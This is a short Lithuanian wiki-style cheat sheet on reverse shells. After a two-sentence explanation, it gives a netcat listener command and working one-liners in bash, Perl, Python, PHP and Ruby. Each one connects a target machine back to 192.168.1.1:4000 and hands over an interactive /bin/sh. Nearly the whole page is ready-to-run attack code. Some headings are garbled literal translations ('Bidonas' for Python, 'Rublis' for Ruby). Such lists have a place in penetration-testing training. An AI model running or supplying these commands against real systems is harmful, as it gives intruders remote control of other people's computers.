Reverse shellai
Jump to navigation
Jump to search
Koncepcija paprasta, lokaliame kompiuteryje paleidžiamas klausymosi įrankis (šiuo atveju netcat), iš nutolusios mašinos laukiama prisijungimo bei shell redirect'o. Nutolusioje mašinoje išmėginsime įvairius metodus kol gausime tinkamiausią ir veikiantį.
Keletas faktų:
- Nutolusios mašinos ip: 192.168.1.38
- Lokalios mašinos ip: 192.168.1.1
Lokalios mašinos paruošimas[keisti]
Paleidžiame netcat (pasiklausymo režimu)
nc -lvp 4000
Nutolusios mašinos reverse shell metodai[keisti]
Bash[keisti]
bash -i >& /dev/tcp/192.168.1.1/4000 0>&1
Perl[keisti]
perl -e 'use Socket;$i="192.168.1.1";$p=4000;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Bidonas (2.7)[keisti]
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.1",4000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Php[keisti]
php -r '$sock=fsockopen("192.168.1.1",4000);exec("/bin/sh -i <&3 >&3 2>&3");'
Rublis[keisti]
ruby -rsocket -e'f=TCPSocket.open("192.168.1.1",4000).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'